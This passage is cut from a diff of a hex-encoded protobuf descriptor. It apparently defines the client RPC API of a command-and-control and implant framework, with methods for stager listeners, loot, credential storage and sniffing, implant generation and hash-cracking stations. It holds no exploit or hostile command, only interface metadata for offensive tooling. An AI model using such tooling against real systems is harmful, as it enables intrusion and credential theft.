0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, - 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, - 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, - 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, - 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, - 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, + 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, + 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, + 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, + 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, + 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, + 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, + 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, - 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, - 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, - 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, - 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, - 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, - 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, + 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, - 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, - 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, - 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, - 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, - 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, - 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, - 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x5c, 0x0a, 0x20, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, - 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x1f, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, - 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x37, - 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, - 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, - 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, - 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, - 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, - 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, - 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, - 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, + 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, + 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 